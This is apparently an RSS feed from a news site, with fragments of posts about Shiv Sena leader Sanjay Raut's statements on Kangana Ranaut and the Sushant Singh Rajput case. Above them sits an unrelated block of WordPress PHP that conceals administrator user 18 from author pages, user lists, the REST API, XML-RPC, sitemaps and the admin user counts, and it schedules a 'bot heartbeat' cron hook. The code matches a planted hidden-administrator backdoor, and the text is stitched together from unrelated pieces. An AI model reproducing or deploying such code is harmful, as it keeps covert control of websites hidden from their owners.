add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post According to Shiv Sena, Nawab Malik is not alone in this war appeared first on The Edge Media.
]]>
Raut said: “Kangana has insulted the country. She has a habit of making such statements. Her statement has hurt the feelings of Indians. So Kangana should apologize to the country. All her national awards should be withdrawn. BJP should also clarify its position on Kanganaben’s statement.”
The post According to Shiv Sena, Nawab Malik is not alone in this war appeared first on The Edge Media.
]]>The post Sanjay Raut claims the BJP is raking up the ‘outsider’ card in preparation for the Uttar Pradesh assembly and the municipal elections in Mumbai appeared first on The Edge Media.
]]>In his weekly column ‘Rokhthok’ in the Sena publication ‘Saamana,’ Raut wrote that Thackeray did not specify any specific state while referring to migrants “but the BJP asserted that the CM meant North Indians.”
The post Sanjay Raut claims the BJP is raking up the ‘outsider’ card in preparation for the Uttar Pradesh assembly and the municipal elections in Mumbai appeared first on The Edge Media.
]]>The post Sanjay Raut Over Demand of Apology by Sushant’s Family : “We’ll Think about it.” appeared first on The Edge Media.
]]>
In his column in the Shiv Sena’s paper, Saamna, Raut claimed that the actor didn’t share good relations with his father K K Singh. I have received such information. How many times did Rajput visit his father in Patna in the last few years? he asked.
Raut also said that Bihar DGP Gupteshwar Pandey was working for a political party and allegedly tried to contest an election on a BJP ticket. “What can you expect from such a police force?”‘ he asked.
The Rajput family’s lawyer says, “Siddharth Pithani is extremely dubious. He is a very intelligent criminal. What he did was, until FIR was registered by family he was talking to them regularly and trying to help them. The moment FIR was registered, he started helping Rhea.”
“The way he has behaved after registration of FIR, the way he is writing email to Rhea when she’s a named accused. Helping a named accused in this manner shows complicity between Rhea and him. It is only upon custodial interrogation that the real truth will come out.”
Pithani was a friend of Rajput’s.
The post Sanjay Raut Over Demand of Apology by Sushant’s Family : “We’ll Think about it.” appeared first on The Edge Media.
]]>